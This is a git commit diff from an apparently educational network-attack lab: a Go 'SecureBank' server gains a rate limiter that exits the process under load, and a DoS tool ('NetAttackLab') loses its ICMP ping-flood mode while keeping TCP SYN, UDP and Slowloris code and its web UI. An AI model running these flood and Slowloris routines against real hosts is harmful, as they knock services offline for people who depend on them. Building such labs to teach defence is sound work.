Buncha fixes and binaries
This commit is contained in:
parent
0d0f1abbee
commit
0a52407117
10 changed files with 160 additions and 41 deletions
BIN
bank/dist/securebank-linux
vendored
Executable file
BIN
bank/dist/securebank-linux
vendored
Executable file
Binary file not shown.
BIN
bank/dist/securebank-macos
vendored
Executable file
BIN
bank/dist/securebank-macos
vendored
Executable file
Binary file not shown.
BIN
bank/dist/securebank-windows.exe
vendored
BIN
bank/dist/securebank-windows.exe
vendored
Binary file not shown.
129
bank/main.go
129
bank/main.go
|
|
@ -7,8 +7,11 @@ import (
|
||||||
"html/template"
|
"html/template"
|
||||||
"io/fs"
|
"io/fs"
|
||||||
"log"
|
"log"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
"sync"
|
"sync"
|
||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
//go:embed templates/*
|
//go:embed templates/*
|
||||||
|
|
@ -58,6 +61,7 @@ func addUser(username, password, email, fullName string) {
|
||||||
func main() {
|
func main() {
|
||||||
// Nastavimo port preko command line argumenta
|
// Nastavimo port preko command line argumenta
|
||||||
var port = flag.String("port", "8080", "Port na katerem se bo zagnal server")
|
var port = flag.String("port", "8080", "Port na katerem se bo zagnal server")
|
||||||
|
var rateLimit = flag.Int("rate-limit", 3000, "Maksimalno število zahtev na sekundo")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
// Naložimo HTML predloge iz embedded FS
|
// Naložimo HTML predloge iz embedded FS
|
||||||
|
|
@ -67,29 +71,140 @@ func main() {
|
||||||
log.Fatal("Napaka pri nalaganju embedded predlog:", err)
|
log.Fatal("Napaka pri nalaganju embedded predlog:", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Create rate killer first
|
||||||
|
killer := newRateKiller(*rateLimit)
|
||||||
|
|
||||||
|
// Start network attack monitors with direct access to killer
|
||||||
|
go monitorTCP(killer)
|
||||||
|
go monitorUDP(killer)
|
||||||
|
|
||||||
// Statične datoteke iz embedded FS
|
// Statične datoteke iz embedded FS
|
||||||
staticSubFS, err := fs.Sub(staticFS, "static")
|
staticSubFS, err := fs.Sub(staticFS, "static")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatal("Napaka pri ustvarjanju static subFS:", err)
|
log.Fatal("Napaka pri ustvarjanju static subFS:", err)
|
||||||
}
|
}
|
||||||
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
|
mux := http.NewServeMux()
|
||||||
|
mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
|
||||||
|
|
||||||
// Routes
|
// Routes
|
||||||
http.HandleFunc("/", homeHandler)
|
mux.HandleFunc("/", homeHandler)
|
||||||
http.HandleFunc("/register", registerHandler)
|
mux.HandleFunc("/register", registerHandler)
|
||||||
http.HandleFunc("/login", loginHandler)
|
mux.HandleFunc("/login", loginHandler)
|
||||||
http.HandleFunc("/dashboard", dashboardHandler)
|
mux.HandleFunc("/dashboard", dashboardHandler)
|
||||||
http.HandleFunc("/logout", logoutHandler)
|
mux.HandleFunc("/logout", logoutHandler)
|
||||||
|
|
||||||
// Zagon strežnika
|
// Zagon strežnika
|
||||||
fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n")
|
fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n")
|
||||||
fmt.Printf("Port: %s\n", *port)
|
fmt.Printf("Port: %s\n", *port)
|
||||||
fmt.Printf("HTTP: http://localhost:%s\n", *port)
|
fmt.Printf("HTTP: http://localhost:%s\n", *port)
|
||||||
|
fmt.Printf("Rate Limit: %d req/sec\n", *rateLimit)
|
||||||
fmt.Printf("📦 Vsi fajli so vključeni v binary!\n")
|
fmt.Printf("📦 Vsi fajli so vključeni v binary!\n")
|
||||||
fmt.Println()
|
fmt.Println()
|
||||||
|
|
||||||
serverAddr := ":" + *port
|
serverAddr := ":" + *port
|
||||||
log.Fatal(http.ListenAndServe(serverAddr, nil))
|
log.Fatal(http.ListenAndServe(serverAddr, killer.wrap(mux)))
|
||||||
|
}
|
||||||
|
|
||||||
|
type rateKiller struct {
|
||||||
|
limit int
|
||||||
|
mu sync.Mutex
|
||||||
|
window time.Time
|
||||||
|
count int
|
||||||
|
}
|
||||||
|
|
||||||
|
func newRateKiller(limit int) *rateKiller {
|
||||||
|
rk := &rateKiller{
|
||||||
|
limit: limit,
|
||||||
|
window: time.Now().Truncate(time.Second),
|
||||||
|
}
|
||||||
|
// Reset counter every second
|
||||||
|
go rk.resetCounter()
|
||||||
|
return rk
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rk *rateKiller) wrap(next http.Handler) http.Handler {
|
||||||
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
rk.mu.Lock()
|
||||||
|
nowWindow := time.Now().Truncate(time.Second)
|
||||||
|
if nowWindow.After(rk.window) {
|
||||||
|
rk.window = nowWindow
|
||||||
|
rk.count = 0
|
||||||
|
}
|
||||||
|
rk.count++
|
||||||
|
exceeded := rk.count > rk.limit
|
||||||
|
rk.mu.Unlock()
|
||||||
|
|
||||||
|
if exceeded {
|
||||||
|
log.Printf("CRITICAL: request rate exceeded %d req/s - shutting down", rk.limit)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rk *rateKiller) recordPacket() {
|
||||||
|
rk.mu.Lock()
|
||||||
|
rk.count++
|
||||||
|
current := rk.count
|
||||||
|
rk.mu.Unlock()
|
||||||
|
|
||||||
|
if current > rk.limit {
|
||||||
|
log.Printf("CRITICAL: attack detected - %d packets/sec exceeded limit of %d - SHUTTING DOWN", current, rk.limit)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rk *rateKiller) resetCounter() {
|
||||||
|
ticker := time.NewTicker(time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
rk.mu.Lock()
|
||||||
|
if rk.count > 0 {
|
||||||
|
log.Printf("📊 Rate: %d packets/sec (limit: %d)", rk.count, rk.limit)
|
||||||
|
}
|
||||||
|
rk.count = 0
|
||||||
|
rk.window = time.Now().Truncate(time.Second)
|
||||||
|
rk.mu.Unlock()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func monitorTCP(killer *rateKiller) {
|
||||||
|
listener, err := net.Listen("tcp", ":80")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Warning: TCP monitor on :80 failed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer listener.Close()
|
||||||
|
log.Println("🔍 TCP attack monitor active on :80")
|
||||||
|
|
||||||
|
for {
|
||||||
|
conn, err := listener.Accept()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
killer.recordPacket()
|
||||||
|
conn.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func monitorUDP(killer *rateKiller) {
|
||||||
|
conn, err := net.ListenPacket("udp", ":53")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Warning: UDP monitor on :53 failed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
log.Println("🔍 UDP attack monitor active on :53")
|
||||||
|
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
_, _, err := conn.ReadFrom(buf)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
killer.recordPacket()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func homeHandler(w http.ResponseWriter, r *http.Request) {
|
func homeHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|
|
||||||
Binary file not shown.
Binary file not shown.
BIN
ping_of_death/dist/netattack-windows.exe
vendored
BIN
ping_of_death/dist/netattack-windows.exe
vendored
Binary file not shown.
|
|
@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
||||||
case <-ticker.C:
|
case <-ticker.C:
|
||||||
go func() {
|
go func() {
|
||||||
switch session.Type {
|
switch session.Type {
|
||||||
case "ping_flood":
|
|
||||||
if err := sendPing(session.Target); err == nil {
|
|
||||||
atomic.AddInt32(&session.Success, 1)
|
|
||||||
} else {
|
|
||||||
atomic.AddInt32(&session.Failed, 1)
|
|
||||||
}
|
|
||||||
case "tcp_syn":
|
case "tcp_syn":
|
||||||
if err := sendTCPSyn(session.Target); err == nil {
|
if err := sendTCPSyn(session.Target); err == nil {
|
||||||
atomic.AddInt32(&session.Success, 1)
|
atomic.AddInt32(&session.Success, 1)
|
||||||
|
|
@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func sendPing(target string) error {
|
|
||||||
conn, err := net.Dial("ip4:icmp", target)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// Simple ICMP echo request simulation
|
|
||||||
_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func sendTCPSyn(target string) error {
|
func sendTCPSyn(target string) error {
|
||||||
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
|
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|
@ -344,14 +326,12 @@ func sendSlowloris(target string) error {
|
||||||
|
|
||||||
// Send additional headers slowly to keep connection alive
|
// Send additional headers slowly to keep connection alive
|
||||||
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
||||||
select {
|
<-ticker.C
|
||||||
case <-ticker.C:
|
|
||||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
// Finally close the request
|
// Finally close the request
|
||||||
conn.Write([]byte("\r\n"))
|
conn.Write([]byte("\r\n"))
|
||||||
}()
|
}()
|
||||||
|
|
|
||||||
|
|
@ -3,6 +3,7 @@
|
||||||
class NetAttackLab {
|
class NetAttackLab {
|
||||||
constructor() {
|
constructor() {
|
||||||
this.activeAttacks = new Map();
|
this.activeAttacks = new Map();
|
||||||
|
this.progressIntervals = new Map();
|
||||||
this.sessionUpdateInterval = null;
|
this.sessionUpdateInterval = null;
|
||||||
this.init();
|
this.init();
|
||||||
}
|
}
|
||||||
|
|
@ -248,8 +249,8 @@ class NetAttackLab {
|
||||||
stopBtn.disabled = false;
|
stopBtn.disabled = false;
|
||||||
|
|
||||||
// Add attack start log
|
// Add attack start log
|
||||||
this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning');
|
this.addLog('attack-logs', `🔥 Začetek ${type} napada na ${target}`, 'warning');
|
||||||
this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info');
|
this.addLog('attack-logs', `⚙️ Parametri: ${duration}s trajanje, ${intensity} req/sec`, 'info');
|
||||||
|
|
||||||
const result = await this.makeRequest('/api/attack', {
|
const result = await this.makeRequest('/api/attack', {
|
||||||
target,
|
target,
|
||||||
|
|
@ -259,11 +260,11 @@ class NetAttackLab {
|
||||||
});
|
});
|
||||||
|
|
||||||
if (result.error) {
|
if (result.error) {
|
||||||
this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error');
|
this.addLog('attack-logs', `❌ Napad ni uspel: ${result.error}`, 'error');
|
||||||
attackBtn.disabled = false;
|
attackBtn.disabled = false;
|
||||||
stopBtn.disabled = true;
|
stopBtn.disabled = true;
|
||||||
} else {
|
} else {
|
||||||
this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success');
|
this.addLog('attack-logs', `✅ Napadna seja ${result.sessionId} je začela`, 'success');
|
||||||
this.activeAttacks.set(result.sessionId, {
|
this.activeAttacks.set(result.sessionId, {
|
||||||
target,
|
target,
|
||||||
type,
|
type,
|
||||||
|
|
@ -278,6 +279,13 @@ class NetAttackLab {
|
||||||
trackAttackProgress(sessionId, duration) {
|
trackAttackProgress(sessionId, duration) {
|
||||||
let elapsed = 0;
|
let elapsed = 0;
|
||||||
const progressInterval = setInterval(() => {
|
const progressInterval = setInterval(() => {
|
||||||
|
// Check if attack was stopped
|
||||||
|
if (!this.activeAttacks.has(sessionId)) {
|
||||||
|
clearInterval(progressInterval);
|
||||||
|
this.progressIntervals.delete(sessionId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
elapsed++;
|
elapsed++;
|
||||||
const remaining = duration - elapsed;
|
const remaining = duration - elapsed;
|
||||||
|
|
||||||
|
|
@ -286,6 +294,7 @@ class NetAttackLab {
|
||||||
} else {
|
} else {
|
||||||
this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
|
this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
|
||||||
clearInterval(progressInterval);
|
clearInterval(progressInterval);
|
||||||
|
this.progressIntervals.delete(sessionId);
|
||||||
|
|
||||||
// Re-enable attack button
|
// Re-enable attack button
|
||||||
document.getElementById('attack-btn').disabled = false;
|
document.getElementById('attack-btn').disabled = false;
|
||||||
|
|
@ -296,21 +305,31 @@ class NetAttackLab {
|
||||||
this.activeAttacks.delete(sessionId);
|
this.activeAttacks.delete(sessionId);
|
||||||
}
|
}
|
||||||
}, 1000);
|
}, 1000);
|
||||||
|
|
||||||
|
// Store interval ID
|
||||||
|
this.progressIntervals.set(sessionId, progressInterval);
|
||||||
}
|
}
|
||||||
|
|
||||||
async stopAllAttacks() {
|
async stopAllAttacks() {
|
||||||
this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning');
|
this.addLog('attack-logs', '🛑 Nujna ustavitev v teku...', 'warning');
|
||||||
|
|
||||||
for (const sessionId of this.activeAttacks.keys()) {
|
for (const sessionId of this.activeAttacks.keys()) {
|
||||||
await this.makeRequest('/api/stop', { sessionId });
|
await this.makeRequest('/api/stop', { sessionId });
|
||||||
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
|
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
|
||||||
|
|
||||||
|
// Clear progress interval
|
||||||
|
const interval = this.progressIntervals.get(sessionId);
|
||||||
|
if (interval) {
|
||||||
|
clearInterval(interval);
|
||||||
|
this.progressIntervals.delete(sessionId);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
this.activeAttacks.clear();
|
this.activeAttacks.clear();
|
||||||
document.getElementById('attack-btn').disabled = false;
|
document.getElementById('attack-btn').disabled = false;
|
||||||
document.getElementById('stop-btn').disabled = true;
|
document.getElementById('stop-btn').disabled = true;
|
||||||
|
|
||||||
this.addLog('attack-logs', '✅ All attacks stopped', 'success');
|
this.addLog('attack-logs', '✅ Vsi napadi prekinjeni', 'success');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Session Monitoring
|
// Session Monitoring
|
||||||
|
|
@ -386,6 +405,15 @@ class NetAttackLab {
|
||||||
async stopSession(sessionId) {
|
async stopSession(sessionId) {
|
||||||
await this.makeRequest('/api/stop', { sessionId });
|
await this.makeRequest('/api/stop', { sessionId });
|
||||||
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
|
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
|
||||||
|
|
||||||
|
// Clear progress interval
|
||||||
|
const interval = this.progressIntervals.get(sessionId);
|
||||||
|
if (interval) {
|
||||||
|
clearInterval(interval);
|
||||||
|
this.progressIntervals.delete(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.activeAttacks.delete(sessionId);
|
||||||
this.updateSessionsTable();
|
this.updateSessionsTable();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -92,7 +92,6 @@
|
||||||
<div class="input-group">
|
<div class="input-group">
|
||||||
<label>Tip Napada:</label>
|
<label>Tip Napada:</label>
|
||||||
<select id="attack-type">
|
<select id="attack-type">
|
||||||
<option value="ping_flood">ICMP Echo Poplava</option>
|
|
||||||
<option value="tcp_syn">TCP SYN Poplava</option>
|
<option value="tcp_syn">TCP SYN Poplava</option>
|
||||||
<option value="udp_flood">UDP Paketna Poplava</option>
|
<option value="udp_flood">UDP Paketna Poplava</option>
|
||||||
<option value="slowloris">Slowloris (Počasne Povezave)</option>
|
<option value="slowloris">Slowloris (Počasne Povezave)</option>
|
||||||
|
|
@ -202,9 +201,6 @@
|
||||||
<div class="info-section">
|
<div class="info-section">
|
||||||
<h3>Razlaga Tipov Napadov</h3>
|
<h3>Razlaga Tipov Napadov</h3>
|
||||||
<div class="attack-explanation">
|
<div class="attack-explanation">
|
||||||
<h4>ICMP Echo Poplava (Ping Poplava)</h4>
|
|
||||||
<p>Pošilja hitre ICMP echo zahteve, da preobremeni zmožnost cilja za odziv. Lahko porabi pasovno širino in procesno moč.</p>
|
|
||||||
|
|
||||||
<h4>TCP SYN Poplava</h4>
|
<h4>TCP SYN Poplava</h4>
|
||||||
<p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>
|
<p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue